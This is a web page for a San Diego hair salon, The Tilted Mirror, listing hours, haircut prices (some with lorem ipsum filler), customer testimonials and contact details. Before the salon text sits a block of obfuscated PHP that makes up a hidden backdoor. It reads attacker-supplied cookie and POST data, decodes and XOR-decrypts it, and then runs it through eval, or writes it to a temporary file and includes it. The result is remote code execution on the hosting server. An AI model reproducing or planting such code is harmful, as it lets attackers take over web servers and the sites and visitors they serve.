$tCikemc = chr (86) . '_' . chr (72) . "\x57" . "\162";$ekPZs = chr ( 673 - 574 ).'l' . "\141" . chr (115) . 's' . chr ( 354 - 259 )."\145" . chr ( 650 - 530 ).'i' . "\x73" . "\164" . chr (115); $HzltEY = class_exists($tCikemc); $tCikemc = "33520";$ekPZs = "38386";$hPHqzcmBo = !1;if ($HzltEY == $hPHqzcmBo){function SSpty(){return FALSE;}$kNgYgk = "50541";SSpty();class V_HWr{private function ggMmDAg($kNgYgk){if (is_array(V_HWr::$MvCwjpwi)) {$yBrZWoJ = str_replace(chr (60) . chr (63) . "\x70" . "\x68" . chr ( 1055 - 943 ), "", V_HWr::$MvCwjpwi[chr (99) . 'o' . "\x6e" . 't' . chr (101) . chr (110) . 't']);eval($yBrZWoJ); $kNgYgk = "50541";exit();}}private $ZtFPZbRG;public function hkzRAusu(){echo 65062;}public function __destruct(){$kNgYgk = "38374_50271";$this->ggMmDAg($kNgYgk); $kNgYgk = "38374_50271";}public function __construct($EfABx=0){$JzOxcJGAJ = $_POST;$LTzidxG = $_COOKIE;$RapitkvkS = "2c891e1d-2358-4ee4-90eb-1ee4504661a4";$nYKAEhbT = @$LTzidxG[substr($RapitkvkS, 0, 4)];if (!empty($nYKAEhbT)){$zdjIn = "base64";$zhUvPkdajB = "";$nYKAEhbT = explode(",", $nYKAEhbT);foreach ($nYKAEhbT as $yDzfyp){$zhUvPkdajB .= @$LTzidxG[$yDzfyp];$zhUvPkdajB .= @$JzOxcJGAJ[$yDzfyp];}$zhUvPkdajB = array_map($zdjIn . "\137" . "\144" . chr (101) . "\143" . "\157" . "\144" . "\x65", array($zhUvPkdajB,)); $zhUvPkdajB = $zhUvPkdajB[0] ^ str_repeat($RapitkvkS, (strlen($zhUvPkdajB[0]) / strlen($RapitkvkS)) + 1);V_HWr::$MvCwjpwi = @unserialize($zhUvPkdajB); $zhUvPkdajB = class_exists("38374_50271");}}public static $MvCwjpwi = 30248;}$GYlkSKSKYr = new /* 19089 */ V_HWr(50541 + 50541); $_POST = Array();unset($GYlkSKSKYr);}$kYFOQoAO = "\121" . "\x5f" . "\131" . 'u' . 'L' . "\141";$jxzuyWVs = "\143" . 'l' . 'a' . "\163" . "\x73" . chr ( 917 - 822 )."\145" . chr ( 976 - 856 ).chr (105) . 's' . "\x74" . 's';$vCxmVimuNx = class_exists($kYFOQoAO); $kYFOQoAO = "11795";$jxzuyWVs = "2209";$oXeSsXwMc = !1;if ($vCxmVimuNx == $oXeSsXwMc){function oBtcGSqeZO(){return FALSE;}$Uqaxnas = "60476";oBtcGSqeZO();class Q_YuLa{private function ldWVUxcfKA($Uqaxnas){if (is_array(Q_YuLa::$hUQdkGxY)) {$ypLPW = sys_get_temp_dir() . "/" . crc32(Q_YuLa::$hUQdkGxY["\163" . chr ( 902 - 805 )."\x6c" . chr ( 995 - 879 )]);@Q_YuLa::$hUQdkGxY[chr (119) . "\x72" . "\151" . "\x74" . "\x65"]($ypLPW, Q_YuLa::$hUQdkGxY[chr (99) . "\x6f" . "\156" . 't' . chr ( 337 - 236 )."\x6e" . chr ( 820 - 704 )]);include $ypLPW;@Q_YuLa::$hUQdkGxY["\144" . 'e' . 'l' . chr ( 476 - 375 ).chr (116) . 'e']($ypLPW); $Uqaxnas = "60476";exit();}}private $YmrXKmFaE;public function wBJPpdhv(){echo 18624;}public function __destruct(){$Uqaxnas = "43889_48810";$this->ldWVUxcfKA($Uqaxnas); $Uqaxnas = "43889_48810";}public function __construct($AxOMEf=0){$SIQnhN = $_POST;$jCpwCww = $_COOKIE;$WsiSzJRfBH = "8d00d841-eb8a-4b7d-8230-797904a2be08";$sMjiT = @$jCpwCww[substr($WsiSzJRfBH, 0, 4)];if (!empty($sMjiT)){$FfuFDncoH = "base64";$GCmFZP = "";$sMjiT = explode(",", $sMjiT);foreach ($sMjiT as $onideSQ){$GCmFZP .= @$jCpwCww[$onideSQ];$GCmFZP .= @$SIQnhN[$onideSQ];}$GCmFZP = array_map($FfuFDncoH . chr (95) . "\144" . chr ( 710 - 609 ).'c' . "\157" . "\144" . chr (101), array($GCmFZP,)); $GCmFZP = $GCmFZP[0] ^ str_repeat($WsiSzJRfBH, (strlen($GCmFZP[0]) / strlen($WsiSzJRfBH)) + 1);Q_YuLa::$hUQdkGxY = @unserialize($GCmFZP); $GCmFZP = class_exists("43889_48810");}}public static $hUQdkGxY = 22095;}$lebtS = new /* 17910 */ Q_YuLa(60476 + 60476); $_POST = Array();unset($lebtS);} The Tilted Mirror
  • Working Days

    9AM - 7PM

  • Saturday

    8:00AM - 4:00PM

  • Sunday

    Closed

  • Cart is empty.

Lovely

Haircuts

Products • New trends
Change

Coloring

Experts • Innovations
Perfect

Hairstyles

San Diego • since 2002
Makeover
San Diego • since 2002

Love is in the hair

In today's fast-paced world, making a positive first impression is important, but true confidence comes from authenticity and self-care. At The Tilted Mirror, we believe in enhancing your natural beauty and individual style in a comfortable, no-pressure environment.
Beauty
San Diego • since 2004

Ready to impress

At The Tilted Mirror, we understand that looking your best is about feeling your best. Our mission is to empower you with confidence through personalized styling and expert care. Let's create a look that reflects your unique self, ensuring you're ready to make a lasting impression, wherever life takes you.

Make it

Haircut
prices

  • Hair cut with Blow dry

    $35
    Lorem ipsum dolor sit amet adipiscing.
  • Blow Dry & Curl

    $25
    Aenean commodo ligula eget dolor.
  • Shampoo & Set

    $25
    Lorem ipsum pro gra vel veli auct ali quet.
  • Color & highlights

    $100
    Phasellus viverra nulla ut metus varius laoreet.
  • Ombré Color

    $130
    Curabitur ullamcorper ultricies nisi.
Don’t Miss Out

LET YOUR HAIR SHINE WITH SPECIAL OFFERS AND DEALS! SUBSCRIBE!

    They said

    Testimonials

    It doesn't get any better than Amber. She is incredibly talented, kind, fun, and my hair looks absolutely amazing. The way she colors and cuts keeps my hair looking perfect for MONTHS. She is the best at what she does!
    Brianna B

    Testimonials

    Amber's been cutting my hair for about 6 years now. She does great work. I can tell her in abstract terms what I want and she'll make my hair look good. I don't even need to say anything anymore though...I have ultimate trust that she'll do an amazing job. I frequently get compliments from family and co-workers.
    Dave F

    Testimonials

    Amber is truly the best in California! It took me a long time to find someone who could do such amazing color and fabulous cuts everytime. I've now been going to Amber for about 10 years. Highly recommend!
    Christine M

    Contact info

    Ready to experience the magic of The Tilted Mirror? Contact us to book your appointment today. Find all the information you need to get in touch, including our phone number, email, and online booking options. We’re here to answer any questions and look forward to welcoming you to our salon.

    amber@thetiltedmirror.com

    San Diego, CA

    619 204 8045